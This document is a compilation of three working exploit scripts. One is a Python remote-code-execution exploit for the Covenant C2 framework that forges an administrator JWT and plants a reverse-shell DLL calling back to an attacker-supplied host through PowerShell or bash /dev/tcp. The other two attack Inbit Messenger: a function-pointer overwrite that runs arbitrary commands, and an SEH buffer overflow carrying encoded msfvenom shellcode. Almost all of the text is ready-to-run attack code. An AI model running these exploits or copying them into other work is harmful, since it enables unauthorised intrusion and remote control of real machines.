<pre><code># Exploit Title: Covenant v0.5 - Remote Code Execution (RCE)<br /># Exploit Author: xThaz<br /># Author website: https://xthaz.fr/<br /># Date: 2022-09-11<br /># Vendor Homepage: https://cobbr.io/Covenant.html<br /># Software Link: https://github.com/cobbr/Covenant<br /># Version: v0.1.3 - v0.5<br /># Tested on: Windows 11 compiled covenant (Windows defender disabled), Linux covenant docker<br /><br /># Vulnerability<br />## Discoverer: coastal<br />## Date: 2020-07-13<br />## Discoverer website: https://blog.null.farm<br />## References:<br />## - https://blog.null.farm/hunting-the-hunters<br />## - https://github.com/Zeop-CyberSec/covenant_rce/blob/master/covenant_jwt_rce.rb<br /><br /># !/usr/bin/env python3<br /># encoding: utf-8<br /><br /><br />import jwt # pip3 install PyJWT<br />import json<br />import warnings<br />import base64<br />import re<br />import random<br />import argparse<br /><br />from requests.packages.urllib3.exceptions import InsecureRequestWarning<br />from Crypto.Hash import HMAC, SHA256 # pip3 install pycryptodome<br />from Crypto.Util.Padding import pad<br />from Crypto.Cipher import AES<br />from requests import request # pip3 install requests<br />from subprocess import run<br />from pwn import remote, context # pip3 install pwntools<br />from os import remove, urandom<br />from shutil import which<br />from urllib.parse import urlparse<br />from pathlib import Path<br />from time import time<br /><br /><br />def check_requirements():<br /> if which("mcs") is None:<br /> print("Please install the mono framework in order to compile the payload.")<br /> print("https://www.mono-project.com/download/stable/")<br /> exit(-1)<br /><br /><br />def random_hex(length):<br /> alphabet = "0123456789abcdef"<br /> return ''.join(random.choice(alphabet) for _ in range(length))<br /><br /><br />def request_api(method, token, route, body=""):<br /> warnings.simplefilter('ignore', InsecureRequestWarning)<br /><br /> return request(<br /> method,<br /> f"{args.target}/api/{route}",<br /> json=body,<br /> headers={<br /> "Authorization": f"Bearer {token}",<br /> "Content-Type": "application/json"<br /> },<br /> verify=False<br /> )<br /><br /><br />def craft_jwt(username, userid=f"{random_hex(8)}-{random_hex(4)}-{random_hex(4)}-{random_hex(4)}-{random_hex(12)}"):<br /> secret_key = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'<br /><br /> payload_data = {<br /> "sub": username,<br /> "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",<br /> "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid,<br /> "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [<br /> "User",<br /> "Administrator"<br /> ],<br /> "exp": int(time()) + 360,<br /> "iss": "Covenant",<br /> "aud": "Covenant"<br /> }<br /><br /> token = jwt.encode(payload_data, secret_key, algorithm='HS256')<br /> return token<br /><br /><br />def get_id_admin(token, json_roles):<br /> id_admin = ""<br /> for role in json_roles:<br /> if role["name"] == "Administrator":<br /> id_admin = role["id"]<br /> print(f"\t[*] Found the admin group id : {id_admin}")<br /> break<br /> else:<br /> print("\t[!] Did not found admin group id, quitting !")<br /> exit(-1)<br /><br /> id_admin_user = ""<br /> json_users_roles = request_api("get", token, f"users/roles").json()<br /> for user_role in json_users_roles:<br /> if user_role["roleId"] == id_admin:<br /> id_admin_user = user_role["userId"]<br /> print(f"\t[*] Found the admin user id : {id_admin_user}")<br /> break<br /> else: <br /> print("\t[!] Did not found admin id, quitting !")<br /> exit(-1)<br /><br /> json_users = request_api("get", token, f"users").json()<br /> for user in json_users:<br /> if user["id"] == id_admin_user:<br /> username_admin = user["userName"]<br /> print(f"\t[*] Found the admin username : {username_admin}")<br /> return username_admin, id_admin_user<br /> else: <br /> print("\t[!] Did not found admin username, quitting !")<br /> exit(-1)<br /><br /><br />def compile_payload():<br /> if args.os == "windows":<br /> payload = '"powershell.exe", "-nop -c \\"$client = New-Object System.Net.Sockets.TCPClient(\'' + args.lhost + '\',' + args.lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\""'<br /> else:<br /> payload = '"bash", "-c \\"exec bash -i &>/dev/tcp/' + args.lhost + '/' + args.lport + ' <&1\\""'<br /><br /> dll = """using System;<br />using System.Reflection;<br /><br />namespace ExampleDLL{<br /> public class Class1{<br /> public Class1(){<br /> }<br /><br /> public void Main(string[] args){<br /> System.Diagnostics.Process.Start(""" + payload + """);<br /> }<br /> }<br />}<br />"""<br /><br /> temp_dll_path = f"/tmp/{random_hex(8)}"<br /> Path(f"{temp_dll_path}.cs").write_bytes(dll.encode())<br /> print(f"\t[*] Writing payload in {temp_dll_path}.cs")<br /><br /> compilo_path = which("mcs")<br /> compilation = run([compilo_path, temp_dll_path + ".cs", "-t:library"])<br /> if compilation.returncode:<br /> print("\t[!] Error when compiling DLL, quitting !")<br /> exit(-1)<br /> print(f"\t[*] Successfully compiled the DLL in {temp_dll_path}.dll")<br /><br /> dll_encoded = base64.b64encode(Path(f"{temp_dll_path}.dll").read_bytes()).decode()<br /><br /> remove(temp_dll_path + ".cs")<br /> remove(temp_dll_path + ".dll")<br /> print(f"\t[*] Removed {temp_dll_path}.cs and {temp_dll_path}.dll")<br /> return dll_encoded<br /><br /><br />def generate_wrapper(dll_encoded):<br /> wrapper = """public static class MessageTransform {<br /> public static string Transform(byte[] bytes) {<br /> try {<br /> string assemblyBase64 = \"""" + dll_encoded + """\";<br /> var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);<br /> var assembly = System.Reflection.Assembly.Load(assemblyBytes);<br /> foreach (var type in assembly.GetTypes()) {<br /> object instance = System.Activator.CreateInstance(type);<br /> object[] args = new object[] { new string[] { \"\" } };<br /> try {<br /> type.GetMethod(\"Main\").Invoke(instance, args);<br /> }<br /> catch {}<br /> }<br /> }<br /> catch {}<br /> return System.Convert.ToBase64String(bytes);<br /> }<br /><br /> public static byte[] Invert(string str) {<br /> return System.Convert.FromBase64String(str);<br /> }<br />}"""<br /><br /> return wrapper<br /><br /><br />def upload_profile(token, wrapper):<br /> body = {<br /> 'httpUrls': [<br /> '/en-us/index.html',<br /> '/en-us/docs.html',<br /> '/en-us/test.html'<br /> ],<br /> 'httpRequestHeaders': [<br /> {'name': 'User-Agent',<br /> 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 '<br /> 'Safari/537.36'},<br /> {'name': 'Cookie', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}<br /> ],<br /> 'httpResponseHeaders': [<br /> {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}<br /> ],<br /> 'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',<br /> 'httpGetResponse': '{DATA}',<br /> 'httpPostResponse': '{DATA}',<br /> 'id': 0,<br /> 'name': random_hex(8),<br /> 'description': '',<br /> 'type': 'HTTP',<br /> 'messageTransform': wrapper<br /> }<br /><br /> response = request_api("post", token, "profiles/http", body)<br /><br /> if not response.ok:<br /> print("\t[!] Failed to create the listener profile, quitting !")<br /> exit(-1)<br /> else:<br /> profile_id = response.json().get('id')<br /> print(f"\t[*] Profile created with id {profile_id}")<br /> print("\t[*] Successfully created the listener profile")<br /> return profile_id<br /><br /><br />def generate_valid_listener_port(impersonate_token, tries=0):<br /> if tries >= 10:<br /> print("\t[!] Tried 10 times to generate a listener port but failed, quitting !")<br /> exit(-1)<br /><br /> port = random.randint(8000, 8250) # TO BE EDITED WITH YOUR TARGET LISTENER PORT<br /> listeners = request_api("get", impersonate_token, "listeners").json()<br /><br /> port_used = []<br /> for listener in listeners:<br /> port_used.append(listener["bindPort"])<br /><br /> if port in port_used:<br /> print(f"\t[!] Port {port} is already taken by another listener, retrying !")<br /> generate_valid_listener_port(impersonate_token, tries + 1)<br /> else:<br /> print(f"\t[*] Port {port} seems free")<br /> return port<br /><br /><br />def get_id_listener_type(impersonate_token, listener_name):<br /> response = request_api("get", impersonate_token, "listeners/types")<br /> if not response.ok:<br /> print("\t[!] Failed to get the listener type, quitting !")<br /> exit(-1)<br /> else:<br /> for listener_type in response.json():<br /> if listener_type["name"] == listener_name:<br /> print(f'\t[*] Found id {listener_type["id"]} for listener {listener_name}')<br /> return listener_type["id"]<br /><br /><br />def generate_listener(impersonate_token, profile_id):<br /> listener_port = generate_valid_listener_port(impersonate_token)<br /> listener_name = random_hex(8)<br /> data = {<br /> 'useSSL': False,<br /> 'urls': [<br /> f"http://0.0.0.0:{listener_port}"<br /> ],<br /> 'id': 0,<br /> 'name': listener_name,<br /> 'bindAddress': "0.0.0.0",<br /> 'bindPort': listener_port,<br /> 'connectAddresses': [<br /> "0.0.0.0"<br /> ],<br /> 'connectPort': listener_port,<br /> 'profileId': profile_id,<br /> 'listenerTypeId': get_id_listener_type(impersonate_token, "HTTP"),<br /> 'status': 'Active'<br /> }<br /><br /> response = request_api("post", impersonate_token, "listeners/http", data)<br /><br /> if not response.ok:<br /> print("\t[!] Failed to create the listener, quitting !")<br /> exit(-1)<br /> else:<br /> print("\t[*] Successfully created the listener")<br /> listener_id = response.json().get("id")<br /> return listener_id, listener_port<br /><br /><br />def create_grunt(impersonate_token, data):<br /> stager_code = request_api("put", impersonate_token, "launchers/binary", data).json()["stagerCode"]<br /> if stager_code == "":<br /> stager_code = request_api("post", impersonate_token, "launchers/binary", data).json()["stagerCode"]<br /> if stager_code == "":<br /> print("\t[!] Failed to create the grunt payload, quitting !")<br /> exit(-1)<br /><br /> print("\t[*] Successfully created the grunt payload")<br /> return stager_code<br /><br /><br />def get_grunt_config(impersonate_token, listener_id):<br /> data = {<br /> 'id': 0,<br /> 'listenerId': listener_id,<br /> 'implantTemplateId': 1,<br /> 'name': 'Binary',<br /> 'description': 'Uses a generated .NET Framework binary to launch a Grunt.',<br /> 'type': 'binary',<br /> 'dotNetVersion': 'Net35',<br /> 'runtimeIdentifier': 'win_x64',<br /> 'validateCert': True,<br /> 'useCertPinning': True,<br /> 'smbPipeName': 'string',<br /> 'delay': 0,<br /> 'jitterPercent': 0,<br /> 'connectAttempts': 0,<br /> 'launcherString': 'GruntHTTP.exe',<br /> 'outputKind': 'consoleApplication',<br /> 'compressStager': False<br /> }<br /><br /> stager_code = create_grunt(impersonate_token, data)<br /> aes_key = re.search(r'FromBase64String\(@\"(.[A-Za-z0-9+\/=]{40,50}?)\"\);', stager_code)<br /> guid_prefix = re.search(r'aGUID = @"(.{10}[0-9a-f]?)";', stager_code)<br /> if not aes_key or not guid_prefix:<br /> print("\t[!] Failed to retrieve the grunt configuration, quitting !")<br /> exit(-1)<br /><br /> aes_key = aes_key.group(1)<br /> guid_prefix = guid_prefix.group(1)<br /> print(f"\t[*] Found the grunt configuration {[aes_key, guid_prefix]}")<br /> return aes_key, guid_prefix<br /><br /><br />def aes256_cbc_encrypt(key, message):<br /> iv_bytes = urandom(16)<br /> key_decoded = base64.b64decode(key)<br /> encoded_message = pad(message.encode(), 16)<br /><br /> cipher = AES.new(key_decoded, AES.MODE_CBC, iv_bytes)<br /> encrypted = cipher.encrypt(encoded_message)<br /><br /> hmac = HMAC.new(key_decoded, digestmod=SHA256)<br /> signature = hmac.update(encrypted).digest()<br /><br /> return encrypted, iv_bytes, signature<br /><br /><br />def trigger_exploit(listener_port, aes_key, guid):<br /> message = "<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"<br /><br /> ciphered, iv, signature = aes256_cbc_encrypt(aes_key, message)<br /> data = {<br /> "GUID": guid,<br /> "Type": 0,<br /> "Meta": '',<br /> "IV": base64.b64encode(iv).decode(),<br /> "EncryptedMessage": base64.b64encode(ciphered).decode(),<br /> "HMAC": base64.b64encode(signature).decode()<br /> }<br /><br /> json_data = json.dumps(data).encode("utf-8")<br /> payload = f"i=a19ea23062db990386a3a478cb89d52e&data={base64.urlsafe_b64encode(json_data).decode()}&session=75db-99b1-25fe4e9afbe58696-320bea73"<br /><br /> if send_exploit(listener_port, "Cookie", guid, payload):<br /> print("\t[*] Exploit succeeded, check listener")<br /> else :<br /> print("\t[!] Exploit failed, retrying")<br /> if send_exploit(listener_port, "Cookies", guid, payload):<br /> print("\t[*] Exploit succeeded, check listener")<br /> else:<br /> print("\t[!] Exploit failed, quitting")<br /><br /><br />def send_exploit(listener_port, header_cookie, guid, payload):<br /> context.log_level = 'error'<br /><br /> request = f"""POST /en-us/test.html HTTP/1.1\r<br />Host: {IP_TARGET}:{listener_port}\r<br />User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\r<br />{header_cookie}: ASPSESSIONID={guid}; SESSIONID=1552332971750\r<br />Content-Type: application/x-www-form-urlencoded\r<br />Content-Length: {len(payload)}\r<br />\r<br />{payload}<br />""".encode()<br /><br /> sock = remote(IP_TARGET, listener_port)<br /> sock.sendline(request)<br /> response = sock.recv().decode()<br /> sock.close()<br /><br /> if "HTTP/1.1 200 OK" in response:<br /> return True<br /> else:<br /> return False<br /><br />if __name__ == "__main__":<br /> check_requirements()<br /><br /> parser = argparse.ArgumentParser()<br /> parser.add_argument("target",<br /> help="URL where the Covenant is hosted, example : https://127.0.0.1:7443")<br /> parser.add_argument("os",<br /> help="Operating System of the target",<br /> choices=["windows", "linux"])<br /> parser.add_argument("lhost",<br /> help="IP of the machine that will receive the reverse shell")<br /> parser.add_argument("lport",<br /> help="Port of the machine that will receive the reverse shell")<br /> args = parser.parse_args()<br /><br /> IP_TARGET = urlparse(args.target).hostname<br /><br /> print("[*] Getting the admin info")<br /> sacrificial_token = craft_jwt("xThaz")<br /> roles = request_api("get", sacrificial_token, "roles").json()<br /> admin_username, admin_id = get_id_admin(sacrificial_token, roles)<br /> impersonate_token = craft_jwt(admin_username, admin_id)<br /> print(f"\t[*] Impersonated {[admin_username]} with the id {[admin_id]}")<br /><br /> print("[*] Generating payload")<br /> dll_encoded = compile_payload()<br /> wrapper = generate_wrapper(dll_encoded)<br /> print("[*] Uploading malicious listener profile")<br /> profile_id = upload_profile(impersonate_token, wrapper)<br /><br /> print("[*] Generating listener")<br /> listener_id, listener_port = generate_listener(impersonate_token, profile_id)<br /><br /> print("[*] Triggering the exploit")<br /> aes_key, guid_prefix = get_grunt_config(impersonate_token, listener_id)<br /> trigger_exploit(listener_port, aes_key, f"{guid_prefix}{random_hex(10)}")<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote Command Execution (RCE)<br /># Date: 11/08/2022<br /># Exploit Author: a-rey <br /># Vendor Homepage: http://www.inbit.com/support.html<br /># Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html<br /># Version: v4.6.0 - v4.9.0<br /># Tested on: Windows XP SP3, Windows 7, Windows 10, Windows Server 2019<br /># Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md<br /><br />#!/usr/bin/env python3<br /># -*- coding: utf-8 -*-<br /><br />import sys, socket, struct, string, argparse, logging<br /><br />BANNER = """\033[0m\033[1;35m<br />╔══════════════════════════════════════════════════════════════════════════╗<br />║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote Command Execution \033[1;35m║<br />╚══════════════════════════════════════════════════════════════════════════╝\033[0m<br /> by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗<br /> \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║<br /> \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝<br /> \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ <br /> \033[1;36m██║ ██║ ██║ ██║███████╗ ██║ <br /> \033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ <br />\033[0m"""<br /><br /># NOTE: IAT addresses for KERNEL32!WinExec in IMS.EXE by build number<br />TARGETS = {<br /> 4601 : 0x005f3360,<br /> 4801 : 0x005f7364,<br /> 4901 : 0x005f7364,<br />}<br /><br /># NOTE: min and max values for length of command<br />CMD_MIN_LEN = 10<br />CMD_MAX_LEN = 0xfc64<br /><br /># NOTE: these bytes cannot be in the calculated address of WinExec to ensure overflow<br />BAD_BYTES = b"\x3e" # ><br /><br />def getWinExecAddress(targetIp:str, targetPort:int) -> bytes:<br /> # NOTE: send packet with client build number of 4601 for v4.6.0<br /> pkt = b"<50><0><IM><ID>7</ID><a>1</a><b>4601</b><c>1</c></IM>\x00"<br /> logging.info(f"trying to get version information from {targetIp}:{targetPort} ...")<br /> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> s.connect((targetIp, targetPort))<br /> s.send(pkt)<br /> _d = s.recv(1024)<br /> # find build tag in response<br /> if b'<c>' not in _d:<br /> logging.error(f"invalid version packet received: {_d}")<br /> sys.exit(-1)<br /> s.close()<br /> try:<br /> build = int(_d[_d.index(b'<c>') + 3:_d.index(b'</c>')])<br /> except:<br /> logging.error(f"failed to parse build number from packet: {_d}")<br /> sys.exit(-1)<br /> # get the IAT offset <br /> if build not in TARGETS.keys():<br /> logging.error(f"unexpected build number: {build}")<br /> sys.exit(-1)<br /> # NOTE: we need to subtract 0x38 since the vulnerable instruction is 'CALL [EAX + 0x38]'<br /> winexec = struct.pack("<I", TARGETS[build] - 0x38)<br /> logging.success(f"target build number is {build}")<br /> logging.info(f"WinExec @ 0x{TARGETS[build] - 0x38:08x}")<br /> # sanity check for bad bytes in WinExec address<br /> for c in winexec:<br /> if c in BAD_BYTES:<br /> logging.error(f"found bad byte in WinExec address: 0x{TARGETS[build] - 0x38:08x}")<br /> sys.exit(-1)<br /> return winexec<br /><br />def exploit(targetIp:str, targetPort:int, command:bytes) -> None:<br /> # NOTE: command must be NULL terminated<br /> command += b"\x00"<br /> # check user command length<br /> if len(command) < CMD_MIN_LEN:<br /> logging.error(f"command length must be at least {CMD_MIN_LEN} characters")<br /> sys.exit(-1)<br /> if len(command) >= CMD_MAX_LEN:<br /> logging.error(f"command length must be less than {CMD_MAX_LEN} characters")<br /> sys.exit(-1)<br /> # get WinExec address<br /> winexec = getWinExecAddress(targetIp, targetPort)<br /> # get a string representation of the length of the command data after the <> tag parsed by atol()<br /> pktLen = str(len(command))<br /> pkt = b"<" # start of XML tag/stack overflow<br /> pkt += pktLen.encode() # number parsed by atol() & length of command data following '>' character<br /> pkt += b"\x00" # NULL terminator to force atol to ignore what comes next<br /> # NOTE: adjust the 85 byte offset calculated that assumes a 2 byte string passed to atol()<br /> pkt += (b"A" * (85 - (len(pktLen) - 2))) # padding up to function pointer overwrite<br /> pkt += winexec # indirect function pointer we control<br /> pkt += b">" # end of XML tag/stack overflow<br /> pkt += command # the command set to the call to WinExec()<br /> logging.info(f"sending payload to {targetIp}:{targetPort} ...")<br /> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> s.connect((targetIp, targetPort))<br /> s.send(pkt)<br /> s.close()<br /> logging.success("DONE")<br /><br />if __name__ == '__main__':<br /> # parse arguments<br /> parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)<br /> parser.add_argument('-t', '--target', help='target IP', type=str, required=True)<br /> parser.add_argument('-c', '--command', help='command to run', type=str, required=True)<br /> parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)<br /> args = parser.parse_args()<br /> # define logger<br /> logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')<br /> logging.SUCCESS = logging.CRITICAL + 1<br /> logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')<br /> logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')<br /> logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')<br /> logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')<br /> logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)<br /> # print banner<br /> print(BANNER)<br /> # run exploit<br /> exploit(args.target, args.port, args.command.encode())<br /> <br /><br /><br /></code></pre>
<pre><code># Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote SEH Overflow<br /># Date: 11/08/2022<br /># Exploit Author: a-rey <br /># Vendor Homepage: http://www.inbit.com/support.html<br /># Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html<br /># Version: v4.6.0 - v4.9.0<br /># Tested on: Windows XP SP3, Windows 7, Windows 10<br /># Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md<br /><br />#!/usr/bin/env python3<br /># -*- coding: utf-8 -*-<br /><br />import sys, socket, struct, argparse, logging<br /><br />"""<br />/opt/metasploit-framework/bin/msfvenom \<br /> -p windows/messagebox \<br /> ICON=WARNING \<br /> TEXT="get wrecked" \<br /> TITLE="LOLZ" \<br /> EXITFUNC=thread \<br /> -f py \<br /> -v SHELLCODE \<br /> -e x86/shikata_ga_nai \<br /> -b '\x3E' <br />"""<br />SHELLCODE = b""<br />SHELLCODE += b"\xba\xbd\x3d\x03\xfa\xd9\xc9\xd9\x74\x24\xf4"<br />SHELLCODE += b"\x5b\x31\xc9\xb1\x41\x31\x53\x14\x03\x53\x14"<br />SHELLCODE += b"\x83\xc3\x04\x5f\xc8\xda\x11\x04\xea\xa9\xc1"<br />SHELLCODE += b"\xce\x3c\x80\xb8\x59\x0e\xed\xd9\x2e\x01\xdd"<br />SHELLCODE += b"\xaa\x46\xee\x96\xdb\xba\x65\xee\x2b\x49\x07"<br />SHELLCODE += b"\xcf\xa0\x7b\xc0\x40\xaf\xf6\xc3\x06\xce\x29"<br />SHELLCODE += b"\xdc\x58\xb0\x42\x4f\xbf\x15\xdf\xd5\x83\xde"<br />SHELLCODE += b"\x8b\xfd\x83\xe1\xd9\x75\x39\xfa\x96\xd0\x9e"<br />SHELLCODE += b"\xfb\x43\x07\xea\xb2\x18\xfc\x98\x44\xf0\xcc"<br />SHELLCODE += b"\x61\x77\xcc\xd3\x32\xfc\x0c\x5f\x4c\x3c\x43"<br />SHELLCODE += b"\xad\x53\x79\xb0\x5a\x68\xf9\x62\x8b\xfa\xe0"<br />SHELLCODE += b"\xe1\x91\x20\xe2\x1e\x43\xa2\xe8\xab\x07\xee"<br />SHELLCODE += b"\xec\x2a\xf3\x84\x09\xa7\x02\x73\x98\xf3\x20"<br />SHELLCODE += b"\x9f\xfa\x38\x9a\x97\xd5\x6a\x52\x42\xac\x50"<br />SHELLCODE += b"\x0d\x03\xe1\x5a\x22\x49\x16\xfd\x45\x91\x19"<br />SHELLCODE += b"\x88\xff\x6a\x5d\x65\x31\x92\xc1\xfe\xd2\x77"<br />SHELLCODE += b"\x50\xe8\x65\x88\xab\x17\xf0\x32\x5c\x8f\x6f"<br />SHELLCODE += b"\xd1\x7c\x0e\x18\x1a\x4f\xbe\xbc\x34\xda\xcd"<br />SHELLCODE += b"\x59\xb7\x14\xea\x2a\x6b\x71\x06\xa2\x72\x2f"<br />SHELLCODE += b"\xe9\xe1\x7e\x59\xd7\x5a\xc4\xf1\x75\x17\x86"<br />SHELLCODE += b"\x85\x65\x8c\xa4\x61\xca\x33\xb7\x8d\x9c\x93"<br />SHELLCODE += b"\x68\x52\x7c\x4c\x25\xdd\x30\xd6\x84\x3a\x40"<br />SHELLCODE += b"\xba\xc2\xb8\xd9\xa0\x63\xaa\xbc\x42\x2c\x44"<br />SHELLCODE += b"\x49\xf9\xa9\xf7\xdd\x9a\x54\x8c\x3d\x54\x5e"<br />SHELLCODE += b"\xe4\x71\xb2\x6b\x7c\x68\x8b\xb9\x14\x5a\xbf"<br />SHELLCODE += b"\x6c\xbb\x65\xef\xbe\xfb\xc9\xef\x94\xf3"<br /><br />BANNER = """\033[0m\033[1;35m<br />╔═════════════════════════════════════════════════════════════════════╗<br />║\033[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote SEH Overflow \033[1;35m║<br />╚═════════════════════════════════════════════════════════════════════╝\033[0m<br /> by: \033[1;36m █████╗ ██████╗ ███████╗██╗ ██╗<br /> \033[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║<br /> \033[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝<br /> \033[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ <br /> \033[1;36m██║ ██║ ██║ ██║███████╗ ██║ <br /> \033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ <br />\033[0m"""<br /><br />BAD_BYTES = b"\x3e" # ><br />PAYLOAD_LENGTH = 2000<br /><br />nSEH = b"\xEB\x06\x90\x90" # JMP SHORT 0x8; NOP; NOP<br />SEH = struct.pack("<I", 0x263ae1bd) # ipworks6.dll | POP EBP; POP EBX; RET<br /><br /># NOTE: sets the TEB's ACTIVATION_CONTEXT_STACK.ActiveFrame = NULL<br />NULL_ACT_CTX_STUB = b"\x31\xC0\xBB\x00\x10"<br />NULL_ACT_CTX_STUB += b"\x00\x00\x64\x8B\x48"<br />NULL_ACT_CTX_STUB += b"\x18\x39\x99\xA8\x01"<br />NULL_ACT_CTX_STUB += b"\x00\x00\x7C\x0A\x8B"<br />NULL_ACT_CTX_STUB += b"\x99\xA8\x01\x00\x00"<br />NULL_ACT_CTX_STUB += b"\x89\x03\xEB\x06\x89"<br />NULL_ACT_CTX_STUB += b"\x81\xB0\x01\x00\x00" <br /><br />def exploit(targetIp:str, targetPort:int) -> None:<br /> pkt = b"<"<br /> pkt += (b"A" * 40)<br /> pkt += nSEH<br /> pkt += SEH<br /> pkt += NULL_ACT_CTX_STUB<br /> pkt += (b"\x90" * 32) # NOP sled for shikata_ga_nai decoder<br /> pkt += SHELLCODE<br /> # NOTE: need to send 1600+ bytes to overwrite beyond top of thread's stack<br /> pkt += (b"B" * (PAYLOAD_LENGTH - len(pkt)))<br /> # NOTE: check for bad bytes<br /> for c in pkt:<br /> if c in BAD_BYTES:<br /> logging.error(f"found bad byte 0x{c:02x} in payload")<br /> sys.exit(-1)<br /> logging.info(f"sending {len(pkt)} byte payload to {targetIp}:{targetPort} ...")<br /> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> s.connect((targetIp, targetPort))<br /> s.send(pkt)<br /> s.close()<br /> logging.success("DONE")<br /><br />if __name__ == '__main__':<br /> # parse arguments<br /> parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)<br /> parser.add_argument('-t', '--target', help='target IP', type=str, required=True)<br /> parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)<br /> args = parser.parse_args()<br /> # define logger<br /> logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')<br /> logging.SUCCESS = logging.CRITICAL + 1<br /> logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')<br /> logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')<br /> logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')<br /> logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')<br /> logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)<br /> # print banner<br /> print(BANNER)<br /> # run exploit<br /> exploit(args.target, args.port)<br /> <br /><br /></code></pre>